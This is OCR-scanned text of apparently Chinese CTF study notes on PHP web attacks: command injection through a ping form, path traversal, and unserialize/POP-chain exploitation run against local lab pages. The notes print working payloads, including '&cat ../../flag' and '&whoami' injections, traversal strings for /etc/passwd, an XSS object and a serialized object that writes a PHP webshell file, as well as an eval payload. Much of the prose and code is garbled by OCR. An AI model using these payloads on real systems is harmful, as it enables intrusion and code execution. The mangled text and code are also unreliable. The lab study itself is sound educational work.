%“zaeﬁﬁ%71%65#!.?‘?5’9@%ﬁiﬁﬁ?ﬁ?ﬁéﬂ’ﬂ&f?ﬁﬂﬂﬂ%@

eval ()

assert()

crea

call

_u

preg /AT A TEMZIE A i R AT ° @
§ tion()  / /81— 4 R FLIR E K4 6 . \i

//

@e YEAIPHP ARG HAAT @
e — S 2SN false

_func()/call_user_func_array() //%E%~4‘§i&1’ﬁﬁylﬁ]% H

usort()/basort()  //MEAI E € R U R Boet B2l vh BB AT HE R O DR FF @51 <K

@ M50
0 EEEB, ANEAaHSENERRNNASIHT

<. BX: evalQ IZI%&EL‘J&M‘TE%?—H?*

3
S

\

&

S phpinfo) ; BEIOLAPhPIESHIT

i @Jﬂiﬁﬁ eval () BREERHUTRFPBANE
| rce_eval.php - i3BE

MiHF) R|(E) B\ EFV) BEH

if(isset($_P ubmit']) && $ POST['txt'] != null){ *
TPOST['txt)){
l.=" <p>{RERAIFFIAEETIZN </p>";

d S


af://n1075

lz-aa-;‘.-unw;nmmnww* @
2.xfF Remote command execution)
PS 2 4
—fzH iR, EERAMBARFMNET ERELAFIRMEENTEESS 0O; tbansk(ilE
DAY B h ik . AR EIRENwe b%fi??ﬁt-ﬂﬁ%éﬁﬁﬁ):‘?%ﬁi\g};‘T%{’EE’\Jweb?%E,
FFMwebREEABIRIP, 12RE, EESXZIPHIEFHT—Rpinglid, FHREIMXER. ma

R, QIHEERAIZIERN, RREMTEENRSIES, WIRSSENEEETIZIEORR “Har5)”
MRS, MmiLEa#TT, MREREN EaRS:R

PHPHEXERE]:

system(Q)  //PATHMNEFRRF, JFHE BRI H
exec()/shell_exec() //ifil shell &
pentl_exec()  //¢E MR AT
passthru()  //#ATHMEIET I B B 5
popen()  //FTIFIERECAFRET

proc_open()  //PUT— 4, FEHITIHHSREIN /0 STRE

Ly IF BB SE B A ) LA 4 £ 1R 07 3R (9]

.

M & S PIZESRTLUATT, BONERRSmSHTERRM


af://n1088

A rce > exec "ping”

Here, please enter the target IP address!

127.0.0.18&whoami

PO Ping 127.0.0.1 99H® 32 € 9006

S99 127.0.0.1 §L32-99 1 ©: "9@<lms TTL=128
S99 127.0.0.1 §L3I2-99 1 ©: "9@<lms TTL=128
SO0 127.0.0.1 §L32-9¢9 ©> "§H<Ilms TTL=128
SOO© 127.0.0.1 §L32-99 9> "§@<lms TTLE12E

127.8.98.1 @@ Ping TQ@EU:

V00.0: 0000 - 10005000 - WOVOY - 0 (% 0O 60
V0000000 00 (9000010 0N):

V00 - M-PHHPT - PP HP - oms

desktop-344ichg\administrator

+—  BHRFH (EH) &

BREFRR, IR How i/ sy . BRETXHLEE, XHTH, XETHSL. BT 5
s FL B e G SRRSO EIERR, IRBERTRINSIERE, SEREENA ../ NARHTER
R, TAEAER OO R RSN, BUSERSU EIERHEEB RS

EXHRFERESR, . " FRERER, BIRER". /NG, REES I RARERNL—RER.
NSRREER .. /.. /", ARERREERR . EME, BRSIBE—RBER, NMREE EREER

Zef1) .
BT REARBERTTE B8 C:\windows\System32\drivers\etc
fEH". /" —VaRE E—2H%, Bl: c:\windows\System32\drivers

A" ./ /" —iE E—=gr 5, Bl c:\Windows\System32

XERAENEHRFBES, 510", " BRAEZ E—RER. FIUSMNESN " [ DEERERE
ERAINER

FIFsA:

windows B RFHERABTFHRMERA T SHRBEMEEFNER N T, TrEiTEHMERAET
B, 0 ENEEE, BimES F: /wwwroot/Togs + "Rl @4 . WENET . ./ HITERE
HHEEAEFR THITIEE, AEEEANFELIMIUEIE, a0, c:Xwindows\win.ini , MILinuxARZIAR
SEXMIRS, REGEBISURAITLUSERE R TISG

—RERFUSENEENIE I, -REBSBN REXH , BAREXGHRTE REHRE
B, W SMEIEEERIESIKSED


af://n1098

%6 ‘N
AT ping BFHIR L 1s BEERER THATEIE flag \
[127.0.0.1&ls / <
< L 4
[ PING .

PING 127.0.0.1 (127.0.0.13): 56 data bytes \

4 bytes from 127.0.0.1: zeg=0 ttl=42 time=0.030 m=
bin

dew

etc

flag

home

1lib

media

mit @

opt ¢ ¢
proc * \
root

run

zbin

el
ye
tmp
usr
var
64 bytes from 127
4 bytes from 127

[ R }

001 zeg=l ttl=42 time=0.07
L1 zeq=2 tt1=42 time=0.

— 127.0.0.1 ping statisztics ——
3 packets transmitted. 3 packets recefﬁﬁ ) acket lo=z= PN

round-trip mindave/max = 0003070, DEQ}’\

{3 cat 'l:l:ﬁ/v\ a5, UKER ../ BHTERFHREEBEREE, &R R
"N, \ .



PING

[127.0.0.1&cat . /flag \

| PING |

PING 127.0.0.1 (12
64 bytes from 127.
64 bytes from 127.
64 bytes from 127.

0.17: 56 data bytes

1: =zeq=0 tt1=42 time=0.034 m=
1: =zeq=1 ttl=42Z time=0. 067 mz
1

7. 0.
0. o,
0. o,
0. 0. zeq=Z2 ttl=42 time=0. 067 ms=

— 127.0.0.1 ping statistics ——
3 packets transmitted, 3 packets receiwved, 0% packet lo==
round-trip mindavgimax =20.034,/0. 05650, 067 m=

PRERIRIN . ./ RREZRERER, AIEE flag , BEMERURRHBAILIER pvd REBSRIER
p=raalil

PING

[127.0.0.1&cat .J. /. Hlag |

| PING |

flag {303fdce8-4934-4767-all3-ebec28991b5b}
PING 127.0.0.1 (127.0.0.13%; 56 data bytes
64 bytez from 127. 0,001 zeg=0 tt1=42 time=0. 042 m=
64 bytes from 127.0.0.1: 2eqg=1 ttl=42 time=0.101 m=
64 bytez from 127.0.0.1: =zeg=2 ttl=42 time=0.070 m=

—— 127.0:. 0, I ping statistics ——
3 packets €ransmitted, 3 packetz received, 0% packet lozs
round-trip min/aveg/max = 0.042/0.071/0. 101 ms

HIERRX:
1.8

webuEERHMESRE B REHAIGEENR, i ../ E—REXRET, ARERENTREBESWKS
g, BIMRATLAERRAEMERE, K. /iRE E—RKBRERD



filename=/etc/passwd //fE#filename Ntk Z1E \

2E. /5% A
Bz, HifEEEEEE ../ BifAT, JUBEERE s /25 BiEsY:

filename=....//....//....///etc/pass {i%f1lename N{E 1A
0‘ .
2 4

3.URL#ERBERIS \

mEJLX%FHURLéFmEQEEg’%J‘iHES%N . B/ BRI

. ===> %2e @
/=== ef
’03\ 0‘<5:\
% X 5 (XEURLYwIS) 0\\
4. BITREES../

@ﬁlﬂﬁwebEﬁ“fﬂyfilename@)#SZ#E’\Jﬂa‘ﬂi, SELE i 25k S 1 7 FFSL

0 BBAFALIES . . / FRRE E—FiED (BHMEEPRET BRFE IS

} filename=/var/www/images/../../. .Je\@ / /R filename NiES1H .
. \\ . \\
5. BBt RS

FHiLbweb3d filename E’:‘JBU%’ETBE%U, RBEZ E4 PERIARET

XBHER BT LAF) B %@7 R4 HEERER—HFRAERIREFAI%00) : @
fi1ename=&c/passwo rd%00.jpg / /1% Filename L 21 @
L 4

*
1 4
L 4
Bz, E%ﬁ%ﬁ*%&ﬂﬁ?—ﬁ%ﬁﬁ% J‘E"%‘%ﬁﬂé&%‘ﬁ%ﬁﬁ@%

@l-:‘ REFIL

FOL: B xg ¥R #1n , BRESENSRERE
N REFFIEG: FHMCAONTRE, BING W50 5%
AR FFF LS ek, EILX%*’AM?%N A1

N

. BUEERE R ZERES


af://n1145

O

.Q

A echo $str;

tban: MER(IPLSETELLR T, FAXIMRAURIRA, HEA
M, XEHE—RESICE kT , FEIBATFER, MAILIRSBSHE

4

EEEIB—
X NIRRT IBY

FPAMERNTRE (IEEURRMATLIFEEEERIT N, SR EREREMER) . SXHWEEE
HMHEEECIEXURT 45 RREFIRET, XNIERGERFINRIEE GEURSIREIETSR, &

ETE)

HimiE .

ﬁﬂﬁmma:&ﬁ&ﬁﬁ%?ﬁk%&%éf?ﬁégsg;,%ﬁ&%ﬂ%ﬁ&ﬂMﬁ%ﬁ%ﬁ,

. \
FRAXRGHAT. getshell%—%&ﬁuziﬂﬁ‘gﬁ’gi
2

PHPXFFIWiRIA: tBIUPHPXISIEN,

SFERFERHITRFIICRS, = B30 ERA—LRE, B2

SRENRER 22T LI 3 B91E, AP EIUSA—LEERREIREF, NSERFIIRR

AL AR AR T i
H%m%ﬁﬁ%Pﬁggfﬁ? Pt g A
RRFIRSEME: 1. ialize(\EREIRIS LTIz

PHPRSINL: RISES RIS
BIRTRRS :

<?php

7 SES
class Girl{
/] R L

public $name = '/h'; \\

pubTlic $age = 18;
// FETTE

public function

2 FERIM BB TS

__construct($name, $age){
$this->name =_$name;
$this—>®g
}

public funct ello({

e "He}lo, my boy! \n";
O’e\ y name is $this->name, my age is $this->age !";
} 2 4

// BB AN SR

$jimmy = new GirT(C'/NMi', '18');
$str = serialize($jimmy);

lizeQ&¥ BF, BEHITTEL AT (magic method) ﬁm

A

&
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0 mFole v KEEEs

~ [0 REFHG
1.php

4php
h $HEE
=0 (S

AR

®

0:4:"Gir1":2:{s:4:"name";s:6:"/Ni";s:3:"agé" ;sp2:"18";}

12 AT v
0:4:"GirT":2: E—BIRMREINZNR, JEX TGINR [0], WREHKEN [4], NELHN:
[Girl]l, XSSEBH (AT LARONE M) 06, [2]

{s:4:"name";s:6:"/Nii";s:3:"age";s:2:"18";}

F—ANRULHRATHRE, FUBCHs] RUMEATRZ[4]MKER name", ERERIWZ TR, R
MR [s], EAKEN6IFRHE (TP CETEAFKE, "N > \XE5\XBO\X8F (3777)
"It - \XES5\XxB8\x85 BF 1) )

BRI TR, FreitiZ[s] REPARR 3] KER "age"”, ERERMEL 7R,
xRt [SANME RN [2], (EINA R A [18]

DUESE A SIS

e

¥4 (array)
fi/K (boolean)
L%t

TR

Null

double, ¥F5%

SR C

Q Z un -

@ D

@




PHPRFFI: FERFIEFRAR
FIRTRAS -

<?php
€S
class Girl{
// FEHEE
public $name = "/pzl’;
public $age = 18;
// I
pubTic function __construct($name, $age){
$this->name = $nanfe;
$this->age = $agey
}
pubTlic funetion, hello(){
echo "HeTNhe, “my boy! \n";
echo,("Mypname is $this->name, my age is $this->age !";
}
b
$str = "0:4:"Gir1":2:{s:4:"name";s:6:"/MIi";s:3:"age";s:2:"18" ;%' ;
$object = unserialize($str); //&FHML, EEAGIrTH 4
$object->hel1oQ); //*F % i FH ik

7>

B RFBHE ~ kR v

-

v O R
1.php
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REFFEHRIXSSER
IR RAS -

<?php
header("content-type:text/html;charset=utf-81dy
show_source(__FILE_ );
error_reporting(0);
class Girl{
public $name = '/h4’;
public $age = 18;
pubTic function __construct($name, $age){
$this->name = $name;
$this->age = $age;
}
public function hello(){
echo "Hellogmmy bey!/\n";
echo "My name 1s $this->name, my age is $this->age !";
}
}
if(Tsset($AGET["'str']1)){
$str = $_GET['str'];
$object = unserialize($str);
$object->hel10(Q);

127.0.0.1/fxlh-xss.php X+

G @ 127.00.1/fxh-xssphp

[0 ctF [0 DarkWeb [3 GitHubliiff [0 IEE [0 scrilEe =g ()Gt M AREIEH] ...

<?php

header (“content—type:text/html;charset=utf-87) ;
show_source( FILE );

error_reporting (0) ;

class Girl{

public $name = 'L

public $age = 18;

public function _ construct($name, $age) {
$this—>name = $namey

$this—>age = $agesn

1

1
public functién “hello( {
echo “Hello, “my Dbey! \n”;
echo “My/ name “9s $this—>name, my age is $this—rage !7;
1
} 1
if (issew($ GET[Nstr’ 1)) {
$&tr = $ GET[ str’ J;
$object = unserialize($str):
$object—>hello() ;

—

B THRET cet (5 str, BREESERN w175 ik v % , FAEBHITER hello X5

s
N

1
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FTLANGZSSAE— NFH I F BRI TE S

1. BRI EI N SR B A& — 47 4
FRATERANE DRI, LMERE—RFINL

0 Rl v KEEEH

Y-
1.php

BBl ERREN TR —REMNFIIERN FIENAFTERRREN LS, MEFENENHE
R E i R TERR, MARITAMERETER

[EEHTELRE:



FrHCERSR

0:4:"Gir1":2:{s:4:"name";s:6:"/N2";s:3:"age";1:18%}

ESERIER:

127.00.1/f phptstr=

C @ 127.0.0.1/fxih-xss.php?str=0:4:"Girl™2:(s:4: name”;s:6:" /T "s:3:"age"i:18)

[ CTF (3 DarkWeb [3 Githublielf [ THE [ & 2 Q) Gitiub 8 mEARERER

public function hello() {
echo “Hello, my boy! \n”;
echo "My name is $this—>name, my age is $this—Dage !”

if (isset (§_GET[ str’ 1)) {
$str = $ GET[ str’];
$object = unserialize($str);
$object—>hello() ;

2 Hello, my boy! Mysnameis /4T, my age is 18 !

RIS Hemenis i Concole M Sous i Performance  Memory Application  Light e HackBar

LOAD -~ SPLIT EXECUTE TEST- SQLI~ XSS~ LFI~ SSRF~  SSTI~  SHELL-~  ENCODING -  HASHING ~  CUSTOM -

URL
http://127.6.8.1/fx1l hp?str=0:4:"Girl":2:{s:4:"name";s:6:"/\I" ;s

@™ Use POST method MODIFY HEADER

sec-ch-ua

Name

sec-ch-ua-mobile

sec-ch-ua-platform

Name

PIERIEEER

ERXssSABEENRAMEM—NER (ERpxssRY BRI AT

BRI TIE

B @ i ox

MODE - THEME ~

~ "Google Chrome



JEAS ) « 0:4:"Girl1":2:{s:4:"name";s:6:"/h2";s:3:"age";1:184}
BR:
</script>";s:3:"age";i:18;}

TR

127.0.0.1/fih-xss php?: jimmy

D CTF O DakWeb [J ¢

© GitHub

127.0.0.1 87

jimmy.

Light!

LOAD SPLIT  EXECUTE  TEST-~  SQLI~ XSS~ SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM -
UR

http://127.8.0.1/fx1lh-xss.php?str=0:4:"Girl":2:{s:4:"name" ;s:31:"<script>alert('jimmy')</script>";s

@™ Use POST method MODIFY HEADER

sec-ch-ua

Name

sec-ch-ua-mobile

Name

sec-ch-ua-platform

Name

Upgrade-Insecure-Requests

127.0.0.1/idhxss.php?st=0. X +
® 127.00.1/fdh-xss.php?str=0:4:"Girl":2:fs:4:'na

£ [0 CTF [0 DakWeb [J GitHublfe [0 TE

public function hello() {

echo “Hello, my boy! \n”;

echo "My name is $this—>name, my age is $this—>age [I”
1

}

1

¥

if (isset ($_GET[ str’ 1)) {
§str = $_GET[ str’];
$object = unserialize($str);
$object—>hello() ;

¥

2> Hello, my boy! My name is, my age is 18!

Network Performance Memory  Application  Lighthouse  Recorder sckBar % Requestly

BRI T IR A8 XSS

WIIEHIF
R BRI B R EP S ERTEI E— AR

HasEIFS /9 35 © public/protected/ptivate

e

0:4:"Gir1":2:{s:4:"name" ;s:31:"<script>alert('jimmy")

Google Chrome" “137",

20
“Windows"

lue

1

“Chromium” ;
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<?php
class Girl{
public $name = '/h';
protected $age = 18;
private $money = 100.5;
public function __construct($name ,$age,Smoney) {
$this->name = $name;
$this->age = $age;
$this->money = $money;
3
public function hello(){
echo "My name is $this->name, my age is $this->age !'\n";
echo "I have $this->money RMB!'";
}
}
$jimmy = new Girl@4jimmy!', 20, 108.5);
echo serialize(@Jimmy);
?>

B EFEi s

= 4.php 6.php hiEERIE.php

- 0 R,
1.php

> = RIS

T php

fE\i5iaEH7F . php

FroiLE:

0:4:"Gir1":3:{s:4:"name";s:5:"jimmy";s:6:" *(age";i1:20;s:11:" Girl
money" ;d:108.5;}

RFERBAIFFHLAN



var flpublic: var f public FEERFEERRAHLFE, RE(INEFREHIFIMCSIVERR

B, AHFRIVFRAIZBERNINFREBHITFIIC, EFFERIFREE AR ER
BSs

protected : FIANFERNRIFFER, EATABRRISEANZERAIF RPN, BEZEAIISRELHITHAR
R, BURIPFERNFEREEFRTICE, FERERESILE\0*\0 AYRIZR. XEART \0 X< ASCI 579

0 FFF, BT AINFH, EiZFRIGKESILEINFFHKERLS

private : FINFERATAEFTER, REMFEEISSEEN, Iz FRFNZEAIISELF g4 m]
. ALFAEFENFREERIIE, FERERIESINLE \O<declared class name>\0 5%, XE
<declared class name> R HIEFEHRIZFAG FRRAVEIRS, MAREFIHHIIXNSRAIESZ. EH
FEIHIZAABFERIIELRA—EEMFI MR REIZE, MBsERBRIETE

B o~ b £k EE.php

BiEERIE2.phe

~ O REFHE

$jimmy =3'0:4:"Girl1":3:
{s:4:"name";s:5:"jimmy";S:6:"\00%\00age" ;i:20;S:11:"\00Gir1\00money";d:108.5;}";
1.AMBERZDSsLARKES

FER: SNEUXINMANHEERIEA—RE, FRMCHRRIZEZA—1E, protected #] privateiX
NG HIAA R SRIRZEHSEETFT, MEEXNER, SEFTEERAABNS, MHIER
ASCIIZLER/NESs

2.7 LESHEFFICFHTRERPESRTANRESFE, BEEWNEEN
FRIRIEIEL: BJLAGERS \0O SRAEZF4F



— N\

BARTSER—MSIRIDE, AREER T2EHER. BASENGERUM N TUEFLH, B0
HIEARTTIER:

__construct() / /3G AB1E (new) I 23 E 5

MG RRAL, TEXT RO BB B . 72

£ PHP 8 LLFT, SHRAFAMITET U/EA
L

__destruct(Q) //Xﬂ“%%ﬁ%ﬁﬁﬁﬂﬂ‘ﬁiwx\

__tostring() / /HEN G 24 4 B A ) R
BN EHE echo $jiimmy 2 E R

B2 Bz B SR A i R 4 .
constuct M{H __construct FiEtsE

__wakeupQ / serializef| ik
TEXT G T B4k ifi

_sleep //Mlifserializeffitk
Em\ i 2 . '\
_callo J /263 %R SRR T (VR \
T I B 77 S 2
__callstaticQ)  //ZE8ds b T SCh il FA T or i) (07 i fih R
__get(Skey) 7/ F3F TS i 0 1 R S OSO , § kogmag fe 7E() 2
__setO / /TR B AR 1 B R A
__issetQ J/AEARR Y JEYE R s empty O filk
Q __unsetO / JAERTT Vs i 1 JR A A AR
' _clone() //ETEREX R ¢ .
_ Gpueka® J A R 3 Ty .

__autoload() / /AT 2 AT

Kbt 22 E1 R \\

=61
EHITERD:
.

L
* \ .
<?php
header (" tent-type:text/html;charset=utf-8"); \

class Girl{
public $name = "/NE";
public function __construct($name) {
$this->name = $name;
echo "__construct: @& %K, create obj

3
Q public function __destruct(){

‘ echo "__destruct: X Z4HHN, $this->name is died ! \n";
1 L
public function __call($name, guments){

echo "__call: HHAFERTTER \n'Y;

o


af://n1234

A 4
public function __tostring(){ . \

return "__toString: XL M \n"; \
}

pubTic function __clone(){

echo "__clone: WEXIZRE \n";

}
pubTlic function __get($name){

echo "__get: BEE—MAFAEREMR \n"{
3

pubTlic function _set($name‘ a

echo "__set: WEAGFLAMEMK \&

}
public function __i sset($n$

echo "__isset: X AATYiEEMEHisset() \n";

}
public functio nset($name){
echo "__unset: AWV EM EfEHunset() \n";
}
pub1i ion hello(){
0ec name is $this->name !\n";
PS L 4

} N
$j1'mnhnew Gir1("Ryan"); \

$3immy->hel10Q);
$iimmy->aQ;
$3immy->b;

$w2 = clone $jimmy;
echo $jimmy;

$w2->name = "zs";
$w2->abc = "zs";
isset($w2->abc); *

unset($w2->a); \ X4
7> <-~’ <~:::’



v [ R
1.php

M|

o o |

tiE
T EER

. is

AR BSAEN 0

EH2 (KBEARER) :
eV TR

<?php

header("content-type:text/html;charset=utf-8");

highlight_file(__FILE_);

class Girl{
public $name = "/NEY;

pubTic $file = "dwmtxt";

function __wakeup@® {
$file =qfopen($this->file, 'w');
fwrite@$file, $this->name);
falose($file);

b
echo "<hI3x/F4IIEINZHl</h1>";
if(isset($_GET["str"1)){
$str = $_GET['str'];
$0 = unserialize($str);
echo "name:".$o0->name;

7>



127.0.0.1/magicphp x +

(&} @ 127.0.0.1/magic.php

D #wEe O ofF [ bakWeb [ GitHubltls [O T8% O S550mE =g () GitHub {8 p

{?php
header (“content—type:text/html;charset=utf-87) :
highlight file(_ FILE );:
class Girl{
public $name = "/NEH7;
public $§file = “a. txt”;
function  wakeup() {
$file = fopen(§this—»file, "W );
fwrite(§file, $tHis Pname):
fclose($file);
}
i

echo “<hl>FFIMLIRIHER /1>,
if(isset(§ GET["str”])) {
$str = §$ GET[™str |;
$o = unseriabize($str):
echo “fame:¥. So—>name;
1
P>

RFFIHL RG]

FRECIER

TERER=AF G oSPE—NREFIILEGS, RIFSHEEARTTE _wakeupO

2. BARTTEARN—RIUTHIERLR Sname RIEBS AT SE1 Ve XAMERTEIEAISMHE, EICATLABAEE] AT
UBA—/phpX X7 L& webshe11 skEZiEY phpinfo

3.#8i&payload:
REZEXINAY $name LAK $F11e BYE/IXINHIFEKEIE]

0:4:"GirT":2:{s:4:"name%;s:18:"<?php phpinfo();?>";s:4:"file";s:5:"a.php";}



127.0.0.1/magicphp?str=0:4 X+

@ | 127.0.0.1/magic.php?str=0:4:"Girl “:2:{s:4:"name";s:18:" < ?p p “s:4:file™;s:5:"a.php";}

[J CTF [ DarkWeb [J GitHubls [0 TE# [0 #5 g2 () GitHub [ = BHAER ...
dstr = 5 | str |;
$0 = unserialize(§str):

echo “name:”. $o—>name:

2>

REFFIHL RG]

BARES SR EERR RN T
name: <« REFRESphoRBFREFESHAR

nts Console Sources Network Performance Memory Application  Lighthouse  Recorder HackBar 3 Requestly

rq=inplici t—tastrul.

ISR S ABa.php3id

phpinfod x +
G @ 127.00.1/aphp

O #EE OO CF O DakWeb [J GitHublis [0 IH% [ #

PHP Version 5.4.45 )
aN
System Windows NT DESKTOP-344ICHQ 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date Sep 2 2015 23:45:53
Compiler MSVC9 (Visual C++ 2008)
Architecture x86
Configure cscript /nologo configure.js “--enable-snapshot-build" “--disable-isapi" "--enable-
Command debug-pack” "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-

pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-
sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"

Server API| Apache 2.0 Handler
Virtual enabled

Directory

Support

Configuration |C\windows
File (php.ini)
Path




BIEwE
S2BIRAD:

<?php
show_source(__FILE_ );
error_reporting(0);
class DEMO{
public $func;
public $arg ;
pubTlic function safe(){
echo $this->arg;
}
pubTic function evil(){
eval($this->arg);
}
pubTic functdion run(Q {
$this->{$this->func};
}
funationy._construct(){
$this-=func = 'evil';
}
}
$obj=unserialize($_GET['a']);
$obj->runQ;

?>

127.0.0.1/sxfzphp.

(6] ® 127.0.0.1/sxfz.php

O #mEe O crF O pakweb [0 GitHubityE [0 TEE O #HRRE 25 Q) citiub 8 EEATEREE ..

<?php
show_source(_ FILE ):
error_reporting (0) ;
class DEMO{
public $func;
public Sarg
public function saf&() {
echo $thisarg;
1
}
public functien ewil OM
eval ($this—»arg)s
1
I
publicfunckion run() {
$thist> ($shis—>func} () ;
T
I
functkion _ construct() {
$Sthis—>func = ’“evil :
}
}
$obj=unserialize($ GET['a’]):
Sobj—>run() :
EP


af://n1261

A 4
1. BRIEEEINERTANE T X ERXNZERN run Fi% ¢ \
i) 539

2 EEM evil Q IXANTTEDRE eval REETLIT, FRLABEIL runQ 1 $this->func 43
Bk evil ABeBBEMINIEEE evi1Q , HE—HYNERME LV __construct XNEARTE, FrLAXSA

=& new — MRV
3 BEBIE arg XABMNIER L BBRTHHS, tb& 00

MM serialize O RECRERFFIHEIELDD.
SRR

1 EEBREEHEE A ﬁ
2 SRR (5 AR TRAS) @
3.X¢El@ﬁf§

4.@&% IEFIEE o'\
echo(urlencode(serialize(new DEMO()))); \

AS.J%F%&U%%&?E&%EUEHE%%%

@ H{TURLERRIAIRE @

1 .JE&SE’JF’?EU%%SZ}EEI%T?EKEIE?—H’ .

2 BTG, ﬁﬁiﬁﬂjﬁﬁéﬁ%%ﬁﬁ&%éﬁﬁﬂ’ﬂ, SERIIBMSTERTE, BT '\\

urléwhs

4
ERSRIMERRERAIEN, %%%&?E*ﬁﬁ)\%ﬂﬁﬁiﬂ@i BEPLE, TRk, # '\\

mﬁtﬁﬂgﬁiﬁﬁﬁz@ @
1.5;%&@&@%%5@, SR RBREFE @
L 4
0\\ ¢ ‘\



BHERIFSIL:

0%3A4%3A%22DEMO%22%3A2%3A%7BS%3A4%3A%22 Tunck%22%3B5%3IA4%3A%22evi1%22%3Bs%3A3%3A%22
arg%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%#D

25MBIME: MRETUURMEEERENE, RRERBER(FpublicBit
EFER IS T php7. 1+89RAE, RFFIEIIEMEEAEIE. RERBRIXTHIRMETERE

public, {BEBAIaTLARHEEpublic, A4 publiclIFEFILFHER, BF7.1+RANSENE), =

ERMEEUER, phptEag, WAILURFIILRTH, BT, ATLASET M \0 FFFAITiE

D O

]



B s=iEz v A < v £ g v

v D¥dieR
O e
[ 2025.02.25 B FPER S R NE
[3 CTF-Show web®=i2SH
[3 ctf_misc-master
O cTrEENET R
[3 dark web
[ PHPHEES
[ pythonf2E2
[veN
[ warESing
[0 wesssid
v [ REFUHEs
[ idea
1.php
2.php
3.php
4.php
5.php
6.php
7.php
xss-test.php
=61.php
AEHER.php
ksl php

7.php

vtorial\pho) nts DRFEBE R \REHLEHNT. php

%3 evilk %3 A3%3 arg%22%3B8s%3A10%3A%22phpinfo%28%29%3B%22%38%70

0%3

HESLE®. BHMEN 0

B ERIFSIL:

0%3A4%3A%22DEMO%22%3A2%3A%7BS%3A4%3A%22 Tunck%22%3BS%3IA4%3A%22evi1%22%3Bs%3A3%3A%22
arg%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%#D

3HIETEE (5REDIE) | MRERER TEMIEIRR, RREGRMIR

i 3 - & <80

v D¥dies
OO e
[3 2025.02. 25 ER RS EME
[ CTF-Show webEiREE
[ cff_misc-master
O cTRESHETE
[0 dark web
[0 PHPHE
[ pythonttis
VPN
[0 warESis

xss-test.php
Z#1.php
il php
IBIEEEEIRE2. php

\WEBE 12\ 2 Fr 51k B\ 7. php

evil%22%3BsX3A3%3A%22ar g% 22%3BsX3A10%3A%22phpinfoX28%29%3B%22%3B%7D




B ERIFY IR

MR -

{Tphp
show_source(_FILE_ )
error_reporting (01
class DEMO{
public  $func;
public darg
public function safe(){
}Echn Jthis-rarg;

public function evil(){
eval (§this->arg);
}

public function Tun(){
$this-> {Fthis->func} ()
}

function __construet() |
$thisDfunc = evil’;

1

§obj=unserialize (§_GET[ 2 1);
$obj->run();

S

PHP Version 5.4.45

System Windows NT DESKTOP-344ICHQ 6.2 build 9200 (Windows 8 Business Edition) i586

Build Date Sep 2 2015 23:45:53

Compiler MSVC9 (Visual C++ 2008)

Architecture  |x86

Configure cscript /nologo configure js *--enable-snapshot-build® *--disable-isapi* "--enable-

Command debug-pack” *--without-mssg|" "--without-pdo-mssgl" "--without-pi3web" "--witl
pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk,shared" *--with-oci8-11g=C:\php-
sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static" '——disable—static—anaée & 0"

Server API Apache 2.0 Handler
Virtual enabled

Directory

Support

Configuration |Cawindows

POP§%

POPi%: POP (HEEMRE) MRENIEISTMNETSH—RIINNBEESHER, RERES
MG tH— 4RI s

REFWCF AR E BRI SIEPOPHE., HSIHEWE—&ASRABERAIEE, EHAITLIEHIEY
BEAR, MNaEiEPOPHEARIERI B/

SHPOPHERYEEE:
1.54K unserialjize) WIS HEBIE

SHRFIMEZHTHBRRE, ERSHEARTE (Hbal _wakeup O fi,__déstruct( )
3—E—EMHREEEARD EZHERNELMERNGE, EEETEERENTENEEMGE
AREREEHEN, WEFIIELE, RERE

=151
MR

<?php
header("Content-type:text/html;chakset=utf-8");
error_reporting(l);

highlight_file(__FILE_);

class Read


af://n1307

{ N \
public function get_file($value) \
{
$text = base64_encode(file_get_contents($value));
return $text;
}
3
:1ass Show P
public $source; .
public $var ; * \ 0’
public $classl; \
public function _construct@e:'1'ndex.php') \
{
$this->source & $name;
echo $this- ce.' welcome'."<br>";
}
public fungti __tostring(Q
{
A ent = $this->classl->get_file($this->var);
PS echo $content; o
\\turn $content; ¢ \
} \
public function _show()
{

if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i",$this-
>source)) {
die('hacker');

} else {
0 highlight_file($this->source);

L 4
4 } 7' L 4

} \ 2 4
pubTlic function change() \ \\

{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))

echo

if(isset($_GET['sid']))

{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;

}

else

3 { ‘

@
$show =new Show('indexZ.php')Q

$show->_show();

N



127.0.0.1/pop.php

® 127.0.0.1/pop.php

0O CTF [0 DarkWeb [3J GitHublis [0 TE3x [0 #5850 e () GitHub [ i/

< ?php

header {"Content—type text/html; charset=utf-§") ;
error_reporting (1)

highlight_filei__FILE__};

clasz Read

{
public function get_filei$wvalue)
{
$text = basefid_encode(file_get_contents ($value)) ;
return  ftext;
1
I
clasz  Show
i

public $zource;

public  $wvar

public  $classl;

public function __construct ($name=" index. php’ )

$this-rzource = Jnams;
echo  $this—rsource.” Welcome™. "<br:";

public function __toString ()
$content = gfithiz-*glassl-rzet_filel($this—>var):

echo  $content:
return  $cantent

I
public function wshow()
{
if (pregamatch(’ fgopher [http|ftp|https|dict 4. 4. [flag|filefi’, $this—>source)) |
die (" hacker’)
} oelse 1
highlight file($this—rsource);
1
I
public function Change()
{
if (preg_match(”/zopher |http|file|ftp|https|dict|y. s /1%, $this-rsourcel) |
echo  “hacker”;
1
I

public function __get ($key) {
ffunction=$this—>§key;
$this-> {$kev} () ;
1
1
if (izzet (5_GET[ =id 1))
{
$21d=3_GET[ =id ]
fconfig=unzerialize (3_GET[ config 1) :
$config->faid;

else

$zhow =new Show( index2.php’]:
$zhow->_show ()

t index2.php Welcome

fRR RS
1 MIEF e, FEBHRELAIRE. BRI EELFIREEREX
2. $sid F3$ confi NERFEANTTLARHIRY, X2 F5EHISLER

3. RZBHEIZR flag. php X, MEMNERBPESETLUSESESHEITRABRSHIMTS. Read-
